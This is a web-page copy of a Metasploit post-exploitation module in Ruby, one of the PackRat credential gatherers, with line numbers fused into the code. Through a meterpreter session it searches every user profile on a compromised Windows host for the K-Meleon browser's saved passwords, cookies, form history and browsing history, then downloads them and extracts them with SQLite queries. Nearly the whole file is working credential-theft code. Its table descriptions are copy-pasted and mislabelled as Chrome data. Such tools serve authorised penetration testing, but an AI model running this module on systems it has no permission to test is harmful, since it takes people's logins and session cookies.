Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/kmeleon.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# this associative array defines the artifacts known to PackRat8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::Windows::Packrat1112ARTIFACTS =13{14application: 'k-meleon',15app_category: 'browsers',16gatherable_artifacts: [17{18filetypes: 'logins',19path: 'AppData',20dir: 'K-Meleon',21artifact_file_name: 'signons.sqlite',22description: "K-Meleon's saved Username and Passwords",23credential_type: 'sqlite',24sql_search: [25{26sql_description: "Database Commands which exports Chrome's Login data",27sql_table: 'logins',28sql_column: 'username_value, action_url'29}30]31},32{33filetypes: 'logins',34path: 'AppData',35dir: 'K-Meleon',36artifact_file_name: 'cert8.db',37description: "K-Melon's saved Username and Passwords",38credential_type: 'database'39},40{41filetypes: 'cookies',42path: 'AppData',43dir: 'K-Meleon',44artifact_file_name: 'cookies.sqlite',45description: "K-Meleon's Cookies",46credential_type: 'sqlite',47sql_search: [48{49sql_description: "Database Commands which exports Chrome's Login data",50sql_table: 'moz_cookies',51sql_column: 'baseDomain, host, name, path, value'52}53]54},55{56filetypes: 'web_history',57path: 'AppData',58dir: 'K-Meleon',59artifact_file_name: 'formhistory.sqlite',60description: "K-Meleon's Visited websites ",61credential_type: 'sqlite',62sql_search: [63{64sql_description: "Database Commands which exports Chrome's Login data",65sql_table: 'moz_formhistory',66sql_column: 'value'67}68]69},70{71filetypes: 'web_history',72path: 'AppData',73dir: 'K-Meleon',74artifact_file_name: 'places.sqlite',75description: "K-Meleon's Visited websites ",76credential_type: 'sqlite',77sql_search: [78{79sql_description: "Database Commands which exports Chrome's Login data",80sql_table: 'moz_places',81sql_column: 'url'82},83{84sql_description: "Database Commands which exports Chrome's Login data",85sql_table: 'moz_inputhistory',86sql_column: 'input'87},88{89sql_description: "Database Commands which exports Chrome's Login data",90sql_table: 'moz_hosts',91sql_column: 'host'92},93{94sql_description: "Database Commands which exports Chrome's Login data",95sql_table: 'moz_keywords',96sql_column: 'keyword'97}98]99}100]101}.freeze102103def initialize(info = {})104super(105update_info(106info,107'Name' => 'Kmeleon credential gatherer',108'Description' => %q{109PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.110PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.111Further details can be found in the module documentation.112This is a module that searches for K-meleon credentials on a windows remote host.113},114'License' => MSF_LICENSE,115'Author' => [116'Kazuyoshi Maruta',117'Daniel Hallsworth',118'Barwar Salim M',119'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org120],121'Platform' => ['win'],122'SessionTypes' => ['meterpreter'],123'Notes' => {124'Stability' => [CRASH_SAFE],125'Reliability' => [],126'SideEffects' => []127}128)129)130131register_options(132[133OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),134OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),135OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),136# enumerates the options based on the artifacts that are defined below137OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])138]139)140end141142def run143print_status('Filtering based on these selections: ')144print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")145print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")146print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")147148# used to grab files for each user on the remote host149grab_user_profiles.each do |userprofile|150run_packrat(userprofile, ARTIFACTS)151end152153print_status 'PackRat credential sweep Completed'154end155end156157158